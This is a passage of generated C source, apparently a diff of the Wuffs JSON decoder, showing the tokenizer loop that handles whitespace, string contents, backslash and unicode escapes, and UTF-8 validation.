WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_json__decoder__decode_leading(self, a_dst, a_src); ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ v_expect = 7858u; ++ label__outer__continue:; ++ while (true) { ++ while (true) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ goto label__outer__continue; ++ } ++ v_whitespace_length = 0u; ++ v_c8 = 0u; ++ v_class = 0u; ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (v_whitespace_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_whitespace_length = 0u; ++ } ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++ goto label__outer__continue; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ v_class = WUFFS_JSON__LUT_CLASSES[v_c8]; ++ if (v_class != 0u) { ++ break; ++ } ++ iop_a_src += 1u; ++ if (v_whitespace_length >= 65534u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(65535u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_whitespace_length = 0u; ++ goto label__outer__continue; ++ } ++ v_whitespace_length += 1u; ++ } ++ if (v_whitespace_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_whitespace_length = 0u; ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ goto label__outer__continue; ++ } ++ } ++ if (0u == (v_expect & (((uint32_t)(1u)) << v_class))) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ if (v_class == 1u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 1u; ++ label__string_loop_outer__continue:; ++ while (true) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); ++ continue; ++ } ++ v_string_length = 0u; ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (v_string_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ } ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ goto label__string_loop_outer__continue; ++ } ++ while (((uint64_t)(io2_a_src - iop_a_src)) > 4u) { ++ v_c32 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ if (0u != (WUFFS_JSON__LUT_CHARS[(255u & (v_c32 >> 0u))] | ++ WUFFS_JSON__LUT_CHARS[(255u & (v_c32 >> 8u))] | ++ WUFFS_JSON__LUT_CHARS[(255u & (v_c32 >> 16u))] | ++ WUFFS_JSON__LUT_CHARS[(255u & (v_c32 >> 24u))])) { ++ break; ++ } ++ iop_a_src += 4u; ++ if (v_string_length > 65527u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)((v_string_length + 4u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ goto label__string_loop_outer__continue; ++ } ++ v_string_length += 4u; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ v_char = WUFFS_JSON__LUT_CHARS[v_c8]; ++ if (v_char == 0u) { ++ iop_a_src += 1u; ++ if (v_string_length >= 65531u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(65532u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ goto label__string_loop_outer__continue; ++ } ++ v_string_length += 1u; ++ continue; ++ } else if (v_char == 1u) { ++ if (v_string_length != 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ } ++ goto label__string_loop_outer__break; ++ } else if (v_char == 2u) { ++ if (v_string_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ goto label__string_loop_outer__continue; ++ } ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); ++ goto label__string_loop_outer__continue; ++ } ++ v_c8 = ((uint8_t)(((uint16_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u)))); ++ v_backslash = WUFFS_JSON__LUT_BACKSLASHES[v_c8]; ++ if (((uint8_t)(v_backslash & 128u)) != 0u) { ++ iop_a_src += 2u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((6291456u | ((uint32_t)(((uint8_t)(v_backslash & 127u))))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__string_loop_outer__continue; ++ } else if (v_backslash != 0u) { ++ if (self->private_impl.f_quirks[WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_QUIRKS[((uint8_t)(v_backslash & 7u))]]) { ++ iop_a_src += 2u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((6291456u | ((uint32_t)(WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_CHARS[((uint8_t)(v_backslash & 7u))]))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__string_loop_outer__continue; ++ } ++ } else if (v_c8 == 117u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 6u) { ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); ++ goto label__string_loop_outer__continue; ++ } ++ v_uni4_string = (((uint64_t)(wuffs_base__peek_u48le__no_bounds_check(iop_a_src))) >> 16u); ++ v_uni4_value = 0u; ++ v_uni4_ok = 128u; ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 0u))]; ++ v_uni4_ok &= v_c8; ++ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 12u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 8u))]; ++ v_uni4_ok &= v_c8; ++ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 8u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 16u))]; ++ v_uni4_ok &= v_c8; ++ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 4u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 24u))]; ++ v_uni4_ok &= v_c8; ++ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 0u); ++ if (v_uni4_ok == 0u) { ++ } else if ((v_uni4_value < 55296u) || (57343u < v_uni4_value)) { ++ iop_a_src += 6u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((6291456u | v_uni4_value))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(6u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__string_loop_outer__continue; ++ } else if (v_uni4_value >= 56320u) { ++ } else { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 12u) { ++ if (a_src && a_src->meta.closed) { ++ if (self->private_impl.f_quirks[20u]) { ++ iop_a_src += 6u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(6u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__string_loop_outer__continue; ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); ++ goto label__string_loop_outer__continue; ++ } ++ v_uni4_string = (wuffs_base__peek_u64le__no_bounds_check(iop_a_src + 4u) >> 16u); ++ if (((255u & (v_uni4_string >> 0u)) != 92u) || ((255u & (v_uni4_string >> 8u)) != 117u)) { ++ v_uni4_high_surrogate = 0u; ++ v_uni4_value = 0u; ++ v_uni4_ok = 0u; ++ } else { ++ v_uni4_high_surrogate = (65536u + ((v_uni4_value - 55296u) << 10u)); ++ v_uni4_value = 0u; ++ v_uni4_ok = 128u; ++ v_uni4_string >>= 16u; ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 0u))]; ++ v_uni4_ok &= v_c8; ++ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 12u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 8u))]; ++ v_uni4_ok &= v_c8; ++ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 8u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 16u))]; ++ v_uni4_ok &= v_c8; ++ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 4u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 24u))]; ++ v_uni4_ok &= v_c8; ++ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 0u); ++ } ++ if ((v_uni4_ok != 0u) && (56320u <= v_uni4_value) && (v_uni4_value <= 57343u)) { ++ v_uni4_value -= 56320u; ++ iop_a_src += 12u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((6291456u | v_uni4_high_surrogate | v_uni4_value))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(12u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__string_loop_outer__continue; ++ } ++ } ++ if (self->private_impl.f_quirks[20u]) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 6u) { ++ status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ iop_a_src += 6u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(6u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__string_loop_outer__continue; ++ } ++ } else if ((v_c8 == 85u) && self->private_impl.f_quirks[2u]) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 10u) { ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); ++ goto label__string_loop_outer__continue; ++ } ++ v_uni8_string = wuffs_base__peek_u64le__no_bounds_check(iop_a_src + 2u); ++ v_uni8_value = 0u; ++ v_uni8_ok = 128u; ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 0u))]; ++ v_uni8_ok &= v_c8; ++ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 28u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 8u))]; ++ v_uni8_ok &= v_c8; ++ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 24u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 16u))]; ++ v_uni8_ok &= v_c8; ++ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 20u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 24u))]; ++ v_uni8_ok &= v_c8; ++ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 16u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 32u))]; ++ v_uni8_ok &= v_c8; ++ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 12u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 40u))]; ++ v_uni8_ok &= v_c8; ++ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 8u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 48u))]; ++ v_uni8_ok &= v_c8; ++ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 4u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 56u))]; ++ v_uni8_ok &= v_c8; ++ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 0u); ++ if (v_uni8_ok == 0u) { ++ } else if ((v_uni8_value < 55296u) || ((57343u < v_uni8_value) && (v_uni8_value <= 1114111u))) { ++ iop_a_src += 10u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((6291456u | (v_uni8_value & 2097151u)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(10u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__string_loop_outer__continue; ++ } else if (self->private_impl.f_quirks[20u]) { ++ iop_a_src += 10u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(10u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__string_loop_outer__continue; ++ } ++ } else if ((v_c8 == 120u) && self->private_impl.f_quirks[9u]) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); ++ goto label__string_loop_outer__continue; ++ } ++ v_backslash_x_string = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ v_backslash_x_ok = 128u; ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_backslash_x_string >> 16u))]; ++ v_backslash_x_ok &= v_c8; ++ v_backslash_x_value = ((uint8_t)(((uint8_t)(((uint8_t)(v_c8 & 15u)) << 4u)))); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_backslash_x_string >> 24u))]; ++ v_backslash_x_ok &= v_c8; ++ v_backslash_x_value = ((uint8_t)(((uint8_t)(v_backslash_x_value | ((uint8_t)(v_c8 & 15u)))))); ++ if ((v_backslash_x_ok == 0u) || ((v_backslash_x_string & 65535u) != 30812u)) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); ++ goto exit; ++ } ++ iop_a_src += 4u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((6291456u | ((uint32_t)(v_backslash_x_value))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__string_loop_outer__continue; ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); ++ goto exit; ++ } else if (v_char == 3u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { ++ if (v_string_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ goto label__string_loop_outer__continue; ++ } ++ } ++ if (a_src && a_src->meta.closed) { ++ if (self->private_impl.f_quirks[20u]) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 1u; ++ goto label__string_loop_outer__continue; ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); ++ goto label__string_loop_outer__continue; ++ } ++ v_multi_byte_utf8 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ if ((v_multi_byte_utf8 & 49152u) == 32768u) { ++ v_multi_byte_utf8 = ((1984u & ((uint32_t)(v_multi_byte_utf8 << 6u))) | (63u & (v_multi_byte_utf8 >> 8u))); ++ iop_a_src += 2u; ++ if (v_string_length >= 65528u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)((v_string_length + 2u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ goto label__string_loop_outer__continue; ++ } ++ v_string_length += 2u; ++ continue; ++ } ++ } else if (v_char == 4u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 3u) { ++ if (v_string_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ goto label__string_loop_outer__continue; ++ } ++ } ++ if (a_src && a_src->meta.closed) { ++ if (self->private_impl.f_quirks[20u]) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 1u; ++ goto label__string_loop_outer__continue; ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(12); ++ goto label__string_loop_outer__continue; ++ } ++ v_multi_byte_utf8 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); ++ if ((v_multi_byte_utf8 & 12632064u) == 8421376u) { ++ v_multi_byte_utf8 = ((61440u & ((uint32_t)(v_multi_byte_utf8 << 12u))) | (4032u & (v_multi_byte_utf8 >> 2u)) | (63u & (v_multi_byte_utf8 >> 16u))); ++ if ((2047u < v_multi_byte_utf8) && ((v_multi_byte_utf8 < 55296u) || (57343u < v_multi_byte_utf8))) { ++ iop_a_src += 3u; ++ if (v_string_length >= 65528u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)((v_string_length + 3u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ goto label__string_loop_outer__continue; ++ } ++ v_string_length += 3u; ++ continue; ++ } ++ } ++ } else if (v_char == 5u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { ++ if (v_string_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ goto label__string_loop_outer__continue; ++ } ++ } ++ if (a_src && a_src->meta.closed) { ++ if (self->private_impl.f_quirks[20u]) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 1u; ++ goto label__string_loop_outer__continue; ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(13); ++ goto label__string_loop_outer__continue; ++ } ++ v_multi_byte_utf8 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ if ((v_multi_byte_utf8 & 3233857536u) == 2155905024u) { ++ v_multi_byte_utf8 = ((1835008u & ((uint32_t)(v_multi_byte_utf8 << 18u))) | ++ (258048u & ((uint32_t)(v_multi_byte_utf8 << 4u))) | ++ (4032u & (v_multi_byte_utf8 >> 10u)) | ++ (63u & (v_multi_byte_utf8 >> 24u))); ++ if ((65535u < v_multi_byte_utf8) && (v_multi_byte_utf8 <= 1114111u)) { ++ iop_a_src += 4u; ++ if (v_string_length >= 65528u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)((v_string_length + 4u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ goto label__string_loop_outer__continue; ++ } ++ v_string_length += 4u; ++ continue; ++ } ++ } ++ } ++ if (v_string_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ goto label__string_loop_outer__continue; ++ } ++ } ++ if (((uint8_t)(v_char & 128u)) != 0u) { ++ if (self->private_impl.f_quirks[0u]) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((6291456u | ((uint32_t)(((uint8_t)(v_char & 127u))))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 1u; ++ goto label__string_loop_outer__continue; ++ } ++ if (v_char == 138u) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_new_line_in_a_string); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_c0_control_code); ++ goto exit; ++ } ++ if (self->private_impl.f_quirks[20u]) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 1u; ++ goto label__string_loop_outer__continue; ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); ++ goto exit; ++ } ++ } ++ label__string_loop_outer__break:; ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(14); ++ continue; ++ } ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(15); ++ continue; ++ } ++ iop_a_src += 1u; ++ 